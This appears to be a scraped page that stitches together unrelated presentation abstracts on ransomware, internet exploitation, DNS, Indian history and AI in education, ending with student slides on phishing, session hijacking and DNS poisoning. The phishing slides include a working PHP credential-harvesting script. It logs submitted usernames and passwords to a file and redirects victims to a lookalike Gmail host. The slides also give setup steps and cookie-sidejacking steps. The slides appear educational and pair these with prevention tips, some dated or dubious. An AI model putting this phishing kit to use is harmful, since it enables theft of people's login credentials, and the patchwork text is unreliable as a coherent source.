Staying Ahead of Internet Background Exploitation - Microsoft BlueHat Israel ...Andrew Morris
It’s not just you. The frequency of severe vulnerabilities in internet-facing enterprise software being massively exploited at scale has increased drastically. The amount of time between disclosure and exploitation of these vulnerabilities has been reduced to near-zero, leaving defenders with less time to react and respond. While combating internet-wide opportunistic exploitation is a sprawling and complex problem, there is both an art and a science to staying ahead of large exploitation events such as Log4J.
In this talk we will share insights and challenges from operating a huge, shifting, adaptive, distributed sensor network listening to internet background noise and opportunistic exploitation traffic over the past four years. We will give a blunt state of the universe on mass exploitation. We will share patterns and unexplainable phenomena we’ve experienced across billions of internet scans. And we will make recommendations to defenders for preparing for the next time the cyber hits the fan.
Ransomware: How to avoid a crypto crisis at your IT businessCalyptix Security
Cryptolocker and other ransomware brought crisis to thousands of businesses last year. The malware made millions by encrypting victims’ files and demanding ransoms to unlock them. Some companies lost everything. Others, including local police departments, had to pay a hefty ransom to recover their data.
Today, Cryptolocker is gone, but ransomware is growing stronger. New variants such as CryptoWall and Critroni are infecting users, locking their files, and demanding higher ransoms. How can you protect your IT business and clients from this growing threat?
Join Calyptix Security for a conversation on crypto-ransomware, where it’s headed, and how to avoid a ‘crypto crisis’ at your office. You’ll get straight-forward advice on how to stop this threat from impacting your business network security and clients.
Video recording of this webinar took place on March 12, 2015
Just as the title says, we go over the humble origins, touch on the notable variants of yesteryear, the big hitters of today, and discuss the future of ransomware. It's no longer just for windows anymore. Linux, Mac and Mobile platforms are all ripe for extortion.
This humorous and entertaining talk teaches everyone, from Mom and Pops to large enterprise organizations what's really happening and how to protect themselves.
Using GreyNoise to Quantify Response Time of Cloud Provider Abuse TeamsAndrew Morris
Cloud hosting providers, such as Amazon AWS, Google Cloud, DigitalOcean, Microsoft Azure, and many others, have to respond to a regular barrage of abuse complaint reports from all around the world when their customers virtual private servers are used for malicious activity. This activity can happen knowingly by the "renter" of the system or on behalf of an attacker if the server becomes infected. Although by no means the end all, one way of measuring the trust posture of a cloud hosting provider is by analyzing the amount of time between shared hosts beginning to attack other hosts on the Internet and the activity ceasing, generally by way of forced-decommissioning, quarantining, or remediation of the root-cause, such as a malware infection. In this talk, we discuss using the data collected by GreyNoise, a large network of passive collector nodes, to measure the time-to-remediation of infected or malicious machines. We will discuss methodology, results, and actionable takeaways for conference attendees who use shared cloud hosting in their businesses.

Blackhat USA 2014 - The New Scourge of RansomwareJohn Bambenek
In March of this year, a Romanian man killed himself and his 4-year old son because of a ransomware he received after visiting adult websites. This "police impersonation" malware instructed him to pay a massive fine or else go to jail for 11 years. Ransomware isn't a new threat; however, it introduced new life with CryptoLocker, the very first variant to perform encryption correctly, thussignificantly inhibiting security researchers and their typical countermeasures. Due to its unique nature, CryptoLocker is one of the few current malware campaigns that spawned its own working group focused around remediation. As time progressed, other ransomware copycat campaigns emerged, some of which got media attention even though they were nothing but vaporware.
This talk will focus on what the threat intelligence community did in response to this threat, including the development of near-time tracking of its infrastructure and what can be learned in order to manage new threats as they emerge.
Never before in the history of human kind have people across the world been subjected to extortion on a massive scale as they are today. In recent years, personal use of computers and the internet has exploded and, along with this massive growth, cybercriminals have emerged to feed off this burgeoning market, targeting innocent users with a wide range of malware. The vast majority of these threats are aimed at directly or indirectly making money from the victims. Today, ransomware has emerged as one of the most troublesome malware categories of our time.
There are two basic types of ransomware in circulation. The most common type today is crypto ransomware, which aims to encrypt personal data and files. The other, known as locker ransomware, is designed to lock the computer, preventing victims from using it. In this research, we will take a look at how the ransomware types work, not just from a technological point of view but also from a psychological viewpoint. We will also look at how these threats evolved, what factors are at play to make ransomware the major problem that it is today, and where ransomware is likely to surface next.

Ransomware- What you need to know to Safeguard your DataInderjeet Singh
Ransomware - a malicious software used by hackers to block access to a computer system until a ransom is paid. Attackers contact the user with ransom demands. Most attackers request payment in Bitcoin (the crypto-currency). Even if you pay the ransom, the attackers may not deliver the key to unencrypt files.
As ransomware attacks continue to grow in number and sophistication, individual PC users and organizations should reassess their current security strategy. There is a common misconception that adding layers of automated defence technologies will reduce the risk of falling victim to ransomware attacks. While endpoint security products and secure email gateways can offer some level of protection, sooner or later a phishing email, which is the most widely-used attack vector, will penetrate defences and user will be faced with determining whether or not an email is legitimate or part of an attack.
The Hacking Team breach resulted in more than 400GBs of sensitive information being publicly released, including the source code for the offensive security programs the company sold and details on zero-day exploits. The leak had significant repercussions in the security world and caused major technology vendors (including Adobe and Microsoft) to issue emergency patches.
In this presentation, you’ll hear about the results of Cybereason’s investigation into the Hacking Team’s operation as well as the writeup by Phineas Phisher, who claims credit for the hack. We’ll discuss what we learned and what we think it means for defenders moving forward.

Cyber Loss Model for the cost of a data breach.Thomas Lee
Cyber Loss Model is a rigorous statistical model based upon historical industry data, which predicts the cost of a data breach.
This valuable model can help demonstrate cyber insurance adequacy, or a no insurance stance, for CCAR/DFAST idiosyncratic scenarios. Some banks are using this model to demonstrate a stronger culture of risk management for tier 1 capital. This model could also serve as a strong Challenger Model to a banks Champion Model, or a Champion model if the bank has no method for assessing the cost of a data breach. This model complies with SR11-7 and can pass model validation.

An Integrated Approach For Cyber Security And Critical Information Infrastructure Protection
The web was first conceived 25 years ago, by an Englishman. Fifteen years later, as the first crop of dot.coms were going bust, close to 60% of its users (and all Alexa "top 20" sites) came from developed nations. Fast forward to today, and the picture is strikingly different. Almost half the Alexa "top 20" now comes from emerging economies. Economies where close to 3 billion people have yet to use the web, but thanks to mobile--won't have to wait much longer to discover it. This presentation will introduce you to fascinating and innovative services that are re-shaping the web to serve the consumers of tomorrow. Driven by mobile, the power of personal relationships, and the breakneck pace of globalisation, these services provide a glimpse into the business models, opportunities and challenges we will face, when growing a truly global web.
Overview of the Domain Name System (DNS).
In the early days of the Internet, hosts had a fixed IP address.
Reaching a host required to know its numeric IP address.
With the growing number of hosts this scheme became quickly awkward and difficult to use.
DNS was introduced to give hosts human readable names that would be translated into a numeric IP addresses on the fly when a requesting host tried to reach another host.
To facilitate a distributed administration of the domain names, a hierarchic scheme was introduced where responsibility to manage domain names is delegated to organizations which can further delegate management of sub-domains.
Due to its importance in the operation of the Internet, domain name servers are usually operated redundantly. The databases of both servers are periodically synchronized.

Ransomware is a PC or Mac-based malicious piece of software that encrypts a user or company’s files and forces them to pay a fee to the hacker in order to regain access to their own files.
Not only can ransomware encrypt the files on your computer; the software is smart enough to travel across your network and encrypt any files located on shared network drives. This can lead to a catastrophic situation whereby one infected user can bring an entire company to a halt.

Operation “Blue Star” is the only event in the history of Independent India where the state went into war with its own people. Even after about 40 years it is not clear if it was culmination of states anger over people of the region, a political game of power or start of dictatorial chapter in the democratic setup.
The people of Punjab felt alienated from main stream due to denial of their just demands during a long democratic struggle since independence. As it happen all over the word, it led to militant struggle with great loss of lives of military, police and civilian personnel. Killing of Indira Gandhi and massacre of innocent Sikhs in Delhi and other India cities was also associated with this movement.

A Strategic Approach: GenAI in EducationPeter Windle
Artificial Intelligence (AI) technologies such as Generative AI, Image Generators and Large Language Models have had a dramatic impact on teaching, learning and assessment over the past 18 months. The most immediate threat AI posed was to Academic Integrity with Higher Education Institutes (HEIs) focusing their efforts on combating the use of GenAI in assessment. Guidelines were developed for staff and students, policies put in place too. Innovative educators have forged paths in the use of Generative AI for teaching, learning and assessments leading to pockets of transformation springing up across HEIs, often with little or no top-down guidance, support or direction.
This Gasta posits a strategic approach to integrating AI into HEIs to prepare staff, students and the curriculum for an evolving world and workplace. We will highlight the advantages of working with these technologies beyond the realm of teaching, learning and assessment by considering prompt engineering skills, industry impact, curriculum changes, and the need for staff upskilling. In contrast, not engaging strategically with Generative AI poses risks, including falling behind peers, missed opportunities and failing to ensure our graduates remain employable. The rapid evolution of AI technologies necessitates a proactive and strategic approach if we are to remain relevant.

•Act of attempting to acquire information such as usernames,
passwords, by masquerading as a trustworthy entity in an electronic
communication.
•Started in late 90’s.
•Named after the earlier hackers, known as phreakers…
•Still, the most effective and most dangerous social-engineering attack.
•Overall cost due to online fraud by phishing reached to 3 Billion $ in
2007.
•In 2011, it reached the peak of 94 Billion $.
•Main reason for growth in phishing scam is the users’ unawareness.
9. HOW IT WORKS?
Components of Phishing are:-
•A fake page
•A PHP script to redirect user to the original page containing some
notifications
•The redirected original page along with some notification
•The generated text file having username and password
12. Working(contd.)
•Change the redirected url to the url of PHP file and make sure that both the
fake page and PHP script is present within the same directory.
•Change the method from POST to GET.
•PHP code:-
<?php
header("Location: http://gmaiil.t35.com/ServiceLoginAuth.htm");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "rn");
}
fwrite($handle, "rn");
fclose($handle);
exit;
?>

15. HOW TO PREVENT
PHISHING?
1. The most basic thing is to see the lock beside the url field of the browser.
2. Check the url.
3. Check the certificate allotted to the company by the authorized party. E.g.
Thawte Consulting in case of Google.
4. If possible, enter the IP address for the gmail.com instead of the domain
name. Its time taking but far secure for phishing and DNS poisoning to
happen.
But what if it is combined with other attacks?
16. SESSION HIJACKING
•Used to refer to the theft of a magic cookie responsible to authenticate a user
to a remote server.
•Some basic methods to implement the attack: Session fixation, Cross-site
scripting and the most popular one- Session sidejacking .
•Started in 2004 and gained popularity among the hackers like a wildfire.
•American National agencies faced million dollars losses due to this attack.
•Falls into the category of the deadliest attacks due to occurrences of huge
losses.
•Can be implemented by first capturing the packets and then analyzing it.
•Cain & Abel is popular for capturing and APR and Wireshark/Ettercap is
popular for analyzing the packets.
17. HOW IT WORKS?
1. Applicable only if using LANs for accessing the internet.
2. Victim access the internet by accessing the default gateway.
3. Attacker sitting in the same network captures the packet going from
victim’s machine to the default gateway and vice-versa.
4. Now, after capturing, attacker analyze the packets and read the cookies.
5. Next, attacker copies those cookies and set it into his/her browser.
6. That’s it. Now, he’ll get access to user’s account.
24. HOW TO PREVENT SESSION
HIJACKING?
1. If possible, never use any shared network to access your accounts.
2. Otherwise, log out after every few seconds, but it seems impossible.
3. The best way is that web servers should use time stamped cookies but it is
still in somewhat, testing phase.
4. Otherwise, use HTTPs to encrypt the traffic.
But what if attacker intentionally downgrades your HTTPs connection to
HTTP!!!
25. DNS POISONING
• An attack where victim’s machine gets fooled and redirected to some other
server rather than the desired server.
•Also called DNS spoofing.
•Attacker poisons the DNS cache entry so it starts giving false results.
•Cain & Abel can be used for this purpose by using MAN-IN-THE-MIDDLE
attack.
•Being an insecure protocol, any host can resolve the query generated by a
user.
27. HOW TO PREVENT DNS
POISONING?
•The only way to prevent DNS poisoning is by making this protocol a secure
one. Research is still going on in this field under the brolly of Verisign Inc.
•The new protocol will be named as DNSSEC(Domain Name System Security
Extension).
•http://verisigninc.com is the only domain yet which we found as DNSSEC
enabled.
•DNSSEC-enabled packets are larger (> 512 bytes) than traditional DNS
packets.
•DNSSEC will generate more TCP traffic.
•DNSSEC requires support for EDNS0.
•Thus, a huge change will be required before DNSSEC implementation.
28. CONCLUSION
•Many attacks are being practiced on the internet all round the globe.
•Along with these attacks, some mechanisms are there to be secure from
these attacks.
•But these mechanisms are not enough to secure us from all the possibilities.
•The day is not away from us when the two important components of Internet
will be DNSSEC and IPv6 rather than DNS and IPv4. At that time ,may be, we
can say that internet is now secure.
•But what to do untill that day? How to be completely secure in this cyber
world??
•Till then, the only answer which one can think of is---

Its not the proper answer, but at least, its true….
